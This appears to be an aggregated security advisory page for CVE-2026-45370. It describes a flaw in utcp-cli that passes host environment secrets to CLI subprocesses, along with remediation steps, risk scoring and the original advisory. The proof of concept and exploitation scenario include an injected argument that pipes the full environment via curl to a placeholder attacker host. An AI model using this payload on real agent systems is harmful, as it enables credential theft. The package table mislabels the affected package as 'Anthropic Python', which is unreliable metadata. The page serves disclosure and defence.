CVE-2026-45370 is a cleartext credential exposure flaw in utcp-cli where _prepare_environment() passes a full os.environ copy to every CLI subprocess; when chained with the existing command injection in _substitute_utcp_args() (GHSA-33p6-5jxp-p3x4), a low-privileged attacker can dump every secret in the host process — cloud credentials, database URLs, LLM API keys — with a single crafted tool argument. The blast radius is significant: utcp-cli has 4,826 downstream dependents, and the ubiquitous pattern of loading secrets as environment variables in containerised AI agent deployments makes this a near-universal credential exfiltration primitive for affected stacks. CVSS scope is Changed (S:C), meaning successful exploitation reaches well beyond the vulnerable component to any service reachable with those harvested credentials. There is no workaround prior to 1.1.2; upgrade to utcp-cli >= 1.1.2 immediately, enforce strict inherit_env_vars settings on all CliCallTemplates, and rotate every credential that was accessible in processes running the affected version.
What is the risk?
High risk (CVSS 7.7). Network-accessible attack vector with low complexity, no user interaction, and only low-privilege access required — all conditions typical in multi-user AI agent platforms. Scope is Changed, extending impact beyond the vulnerable component to all downstream systems reachable via the harvested credentials. In production AI agent deployments, the exposed secrets commonly include cloud provider master credentials, LLM API billing keys, and database connection strings, enabling full secondary compromise of infrastructure. The 4,826 downstream dependents create wide ecosystem exposure across AI/ML tooling.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Anthropic Python | pip | <= 1.1.1 | 1.1.2 |
Do you use Anthropic Python? You're affected.
How severe is it?
What is the attack surface?
What should I do?
5 steps-
Upgrade utcp-cli to >= 1.1.2 immediately — no workaround exists in earlier versions.
-
After upgrading, audit all CliCallTemplate definitions: set inherit_env_vars to [] (strict mode) for subprocesses that do not need host environment variables, or to an explicit minimal allowlist (e.g., ["PATH", "LANG"]) otherwise.
-
Rotate all credentials — API keys, cloud secrets, database passwords — accessible in processes that ran utcp-cli < 1.1.2.
-
Add minimum-version enforcement for utcp-cli to your dependency scanning pipeline (pip-audit, safety, Dependabot).
-
Instrument tool call argument logging with anomaly detection for shell metacharacter patterns (semicolons, pipes, backticks) as a defence-in-depth measure against future injection attempts.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-45370?
CVE-2026-45370 is a cleartext credential exposure flaw in utcp-cli where _prepare_environment() passes a full os.environ copy to every CLI subprocess; when chained with the existing command injection in _substitute_utcp_args() (GHSA-33p6-5jxp-p3x4), a low-privileged attacker can dump every secret in the host process — cloud credentials, database URLs, LLM API keys — with a single crafted tool argument. The blast radius is significant: utcp-cli has 4,826 downstream dependents, and the ubiquitous pattern of loading secrets as environment variables in containerised AI agent deployments makes this a near-universal credential exfiltration primitive for affected stacks. CVSS scope is Changed (S:C), meaning successful exploitation reaches well beyond the vulnerable component to any service reachable with those harvested credentials. There is no workaround prior to 1.1.2; upgrade to utcp-cli >= 1.1.2 immediately, enforce strict inherit_env_vars settings on all CliCallTemplates, and rotate every credential that was accessible in processes running the affected version.
Is CVE-2026-45370 actively exploited?
No confirmed active exploitation of CVE-2026-45370 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-45370?
1. Upgrade utcp-cli to >= 1.1.2 immediately — no workaround exists in earlier versions. 2. After upgrading, audit all CliCallTemplate definitions: set inherit_env_vars to [] (strict mode) for subprocesses that do not need host environment variables, or to an explicit minimal allowlist (e.g., ["PATH", "LANG"]) otherwise. 3. Rotate all credentials — API keys, cloud secrets, database passwords — accessible in processes that ran utcp-cli < 1.1.2. 4. Add minimum-version enforcement for utcp-cli to your dependency scanning pipeline (pip-audit, safety, Dependabot). 5. Instrument tool call argument logging with anomaly detection for shell metacharacter patterns (semicolons, pipes, backticks) as a defence-in-depth measure against future injection attempts.
What systems are affected by CVE-2026-45370?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, AI tool calling pipelines, LLM orchestration systems, agentic pipelines, CI/CD ML pipelines.
What is the CVSS score for CVE-2026-45370?
CVE-2026-45370 has a CVSS v3.1 base score of 7.7 (HIGH). The EPSS exploitation probability is 0.22%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0055 Unsecured Credentials AML.T0083 Credentials from AI Agent Configuration AML.T0086 Exfiltration via AI Agent Tool Invocation AML.T0098 AI Agent Tool Credential Harvesting Compliance Controls Affected
What are the technical details?
Original Advisory
## Summary `_prepare_environment()` in `cli_communication_protocol.py` passes a full copy of `os.environ` to every CLI subprocess. When combined with the Command Injection vulnerability (CWE-78) in `_substitute_utcp_args()` tracked as GHSA-33p6-5jxp-p3x4, an attacker can exfiltrate all process-level secrets in a single tool call. ## Vulnerable Code ```python # cli_communication_protocol.py def _prepare_environment(self, provider: CliCallTemplate) -> Dict[str, str]: env = os.environ.copy() # All secrets inherited if provider.env_vars: env.update(provider.env_vars) return env ``` ## Impact Any environment variable present in the host process is accessible to injected commands. In typical AI agent deployments this includes: - Cloud provider credentials (AWS_SECRET_ACCESS_KEY, AZURE_CLIENT_SECRET) - Database connection strings (DATABASE_URL) - LLM API keys (OPENAI_API_KEY, ANTHROPIC_API_KEY) - Internal service tokens ## Proof of Concept ```python # Tool defined as: {"command": "grep UTCP_ARG_pattern_UTCP_END logfile.txt"} # Attacker supplies: tool_args = {"pattern": "x; env | curl -s -d @- https://attacker.com"} # Executed bash script: # CMD_0_OUTPUT=$(grep x; env | curl -s -d @- https://attacker.com 2>&1) # -> Full env dump sent to attacker including all secrets ``` ## Patched Fixed in `utcp-cli` 1.1.2. `_prepare_environment` no longer copies the full host environment. Inheritance is controlled by a new `CliCallTemplate.inherit_env_vars` field: - `null` (default): a small built-in OS-specific allowlist (`PATH`, `HOME`, `LANG` on Unix; `PATH`, `PATHEXT`, `SYSTEMROOT`, `USERPROFILE`, etc. on Windows) is inherited so shells and binaries continue to work. - `[]`: strict mode -- nothing from the host environment reaches the subprocess; only `env_vars` is propagated. - `["FOO", "BAR"]`: exactly those host variables are inherited (replaces, not merges with, the default allowlist). `env_vars` is always layered on top and overrides any inherited value. Secrets like `OPENAI_API_KEY` no longer reach the subprocess unless the call template explicitly opts them in. ## Mitigation Upgrade to `utcp-cli >= 1.1.2`. There is no workaround in earlier versions short of stripping secrets from the host process before any CLI tool call. ## Credit Reported by @ZeroXJacks.
Exploitation Scenario
An attacker with low-privileged access to an AI agent system — a standard API key or authenticated user session — crafts a tool call where the tool argument contains shell metacharacters: pattern = 'x; env | curl -s -d @- https://attacker.com'. When the agent processes this via utcp-cli < 1.1.2, _substitute_utcp_args() interpolates the argument directly into the shell command template without sanitisation, and _prepare_environment() ensures the subprocess inherits the full os.environ. The injected command executes inside the subprocess, serialising every environment variable into an HTTP POST body transmitted to the attacker's server. Within seconds the attacker receives OPENAI_API_KEY, AWS_SECRET_ACCESS_KEY, DATABASE_URL, and any other loaded secrets, then pivots to LLM API abuse, cloud infrastructure lateral movement, and database exfiltration — all triggered by a single tool call requiring no special tooling.
Weaknesses (CWE)
CWE-526 — Cleartext Storage of Sensitive Information in an Environment Variable: The product uses an environment variable to store unencrypted sensitive information.
- [Architecture and Design] Encrypt information stored in the environment variable to protect it from being exposed to an unauthorized user. If encryption is not feasible or is considered too expensive for the business use of the application, then consider using a properly protected configuration file instead of an environment variable. It should be understood that unencrypted information in a config file is also not guaranteed to be protected, but it is still a better choice, because it reduces attack surface related to weaknesses such as CWE-214. In some settings, vaults might be a feasible option for safer data transfer. Users should be notified of the business choice made to not protect the sensitive information through encryption.
- [Implementation] If the environment variable is not necessary for the desired behavior, then remove it entirely, or clear it to an empty value.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N References
Timeline
Related Vulnerabilities
CVE-2026-7574 8.7 Claude Desktop: VM integrity bypass enables RCE
Same package: anthropic CVE-2026-21852 7.5 claude_code: Weak Credentials allow account compromise
Same package: anthropic CVE-2026-41863 6.5 Analysis pending
Same package: anthropic GHSA-534h-c3cw-v3h9 5.5 Nuxt: local unauth IPC leaks .env secrets on shared hosts
Same package: anthropic CVE-2026-42074 openclaude: sandbox bypass allows host-level RCE
Same package: anthropic